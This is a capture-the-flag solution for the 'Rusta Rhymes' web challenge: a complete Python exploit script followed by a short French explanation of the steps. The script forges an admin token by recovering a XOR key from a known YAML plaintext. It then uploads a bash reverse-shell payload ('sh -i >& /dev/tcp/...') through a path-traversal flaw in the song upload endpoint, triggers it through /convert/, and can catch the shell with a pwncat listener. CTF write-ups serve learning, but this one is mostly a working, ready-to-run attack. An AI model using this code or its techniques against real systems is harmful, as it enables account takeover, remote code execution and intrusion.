Rusta Rhymes - Flag4All - Exploit

exploit.py

#!/usr/bin/env python3
"""Rusta Rhymes - Flag4All - Exploit

Usage:
    exploit.py <url> <revshell_ip> <revshell_port> [--handler]

Options:
    -h --help       Show this screen.
    --handler       Automaticly setup a pwncat-cs handler on defined port

"""
import base64
from docopt import docopt
import pwncat.manager
import requests
import random
import socket
import string
import sys
import threading
import yaml

class Exploit():
    def __init__(self, url, ip, port, listen):
        self.url = url

        self.user = ''.join([random.choice(string.ascii_letters + string.digits) for _ in range(16)])
        self.email = f"{self.user}@localhost"
        self.passwd = ''.join([random.choice(string.ascii_letters + string.digits) for _ in range(16)])

        self.admin_user = "admin"
        self.admin_email = "admin@gmail.com"

        self.handler_ip = ip
        self.handler_port = int(port)

        self.listener_mode = listen

    def do_Login(self):
        r = requests.post(f"{self.url}auth/login", json={
            "username": self.user,
            "password": self.passwd
        }).json()
        if "id_token" not in r:
            return False
        
        self.id_token = r["id_token"]
        return r
    
    def do_Register(self):
        return requests.post(f"{self.url}auth/register", json={
            "username": self.user,
            "email": self.email,
            "password": self.passwd
        }).text

    def do_Auth_Check(self, id_token):
        try:
            return requests.get(f"{self.url}auth/me", headers={
                "Authorization": f"token {id_token}"
            }).json()
        except:
            return False

    def recoverXorSecret(self):
        yamlPayload = yaml.dump({
            "username": self.user,
            "email": self.email
        }, sort_keys=False)

        yamlBase64 = base64.b64encode(str(yamlPayload).encode()[:len(yamlPayload)-1])
        raw_token = base64.b64decode(self.id_token)

        self.xor_secret = ''.join([chr(a ^ b) for a, b in zip(yamlBase64, raw_token)])
        return self.xor_secret

    def construct_Admin_Token(self):
        yamlPayload = yaml.dump({
            "username": self.admin_user,
            "email": self.admin_email
        }, sort_keys=False)

        yamlBase64 = base64.b64encode(str(yamlPayload).encode()[:len(yamlPayload)-1])
        self.admin_id_token = base64.b64encode(''.join([chr(a ^ b) for a, b in zip(yamlBase64, self.xor_secret.encode())]).encode()).decode()
        return self.admin_id_token

    def create_Reverse_Shell_Payload(self):
        return f'sh -i >& /dev/tcp/{self.handler_ip}/{self.handler_port} 0>&1'

    def upload_Song_Payload(self, payload):
        self.secret_payload_name = f"{''.join([random.choice(string.ascii_letters + string.digits) for _ in range(16)])}.mp3"
        files = {'song_file': (f'../../scripts/{self.secret_payload_name}', payload)}
        r = requests.post(f"{self.url}songs/upload", files=files, headers={
                "Authorization": f"token {self.admin_id_token}"
            })
        return r

    def execute_Script_Payload(self):
        payload = {
            "script_id": self.secret_payload_name,
            "song_id": 0
        }

        requests.post(f"{self.url}convert/", headers={
                "Authorization": f"token {self.admin_id_token}"
            }, json=payload)
        
    def handle_reverse_shell(self, action="persist"):
        listener = socket.create_server(('0.0.0.0', self.handler_port))

        victim, victim_addr = listener.accept()
        self.manager = pwncat.manager.Manager()

        self.session = self.manager.create_session(platform="linux", protocol="socket", client=victim)
        print(f"Here goes your shell, press CTRD+d in order to interact with the shell.")
        self.manager.interactive()
        self.session.close()
        listener.close()

def main():
    arguments = docopt(__doc__, version='Rusta Rhymes - Flag4All - Exploit')
    handler_mode = 1 if arguments["--handler"] else 0

    exploit = Exploit(arguments['<url>'], arguments['<revshell_ip>'], arguments['<revshell_port>'], handler_mode)
    
    print(f"Registering with {exploit.user}:{exploit.passwd}\n")
    exploit.do_Register()

    print(f"Login with {exploit.user}:{exploit.passwd}")
    login_result = exploit.do_Login()
    if not login_result:
        print("Invalid credentials")
        sys.exit(1)
    print(f"Result: {login_result}\n")


    print(f"Check if token is correct: {exploit.id_token}")
    auth_result = exploit.do_Auth_Check(exploit.id_token)
    if not auth_result:
        print("Token invalid")
        sys.exit(1)    
    print(f"Result: {auth_result}")


    print(f"Recovering secret xor key : {exploit.recoverXorSecret()}")
    print(f"Constructing admin id_token: {exploit.construct_Admin_Token()}")


    print(f"\nCheck if the generated id_token is correct: {exploit.admin_id_token}")
    auth_result = exploit.do_Auth_Check(exploit.admin_id_token)
    if not auth_result:
        print("Token invalid.\nNote that if the email you provided is wrong, the secret key recovering will be wrong.")
        sys.exit(1)    
    print(f"Result: {auth_result}")


    print("\nGenerating reverse shell payload and uploading it as a song.\nUsing /songs/upload endpoint that is not protected for path traversal")
    revshell = exploit.create_Reverse_Shell_Payload()
    exploit.upload_Song_Payload(revshell)
    print(f"\nOur payload location is /scripts/{exploit.secret_payload_name}")

    print("Executing our payload.")
    if exploit.listener_mode:
        t = threading.Thread(target = exploit.handle_reverse_shell)
        t.start()
        exploit.execute_Script_Payload()
        t.join()
    else:
        exploit.execute_Script_Payload()

if __name__ == '__main__':
    main()

Explication du challenge par @sapic.

Step 1: Devenir admin

• Si le username/password est valide, l'endpoint de login génère un token :
• • Ce token est ensuite utilisé pour accéder aux autres endpoints.
• • Ce token est un XOR de la structure YAMLisé {"username":,"email":""}, la clé du XOR n'est pas connu à ce moment là.
• • Il est possible d'enregistrer un nouvel utilisateur en specifiant le username et l'email, si l'on se connecte avec cet utilisateur, on obtient un token. On connait le plaintext et le résultat, on peut donc retrouver le secret.
• • En connaissant le secret on peut forger un token pour l'admin. \o/

Step 2: Identifier la vulnerabilité suivante

• l'endpoint /convert/ accessible par l'admin execute bash avec un fichier du répertoire ./scripts/
• • On a la main sur le nom de fichier, on ne peut pas faire de Path Traversal pour aller executer d'autre fichier. Trouvons un moyen d'uploader un fichier dans ce repertoire.

Step 3: Trouver un moyen d'upload un fichier dans ./scripts/

• La plupart des uploads sont protégés contre les Path Traversals. Tous sauf un : /songs/upload. Il est possible d'upload un fichier dans le repertoire script. Il suffit que le nom du fichier se termine par .mp3: ../../scripts/.mp3

Back to Step2: Execution du payload

• Il ne reste plus qu'a executer votre fichier.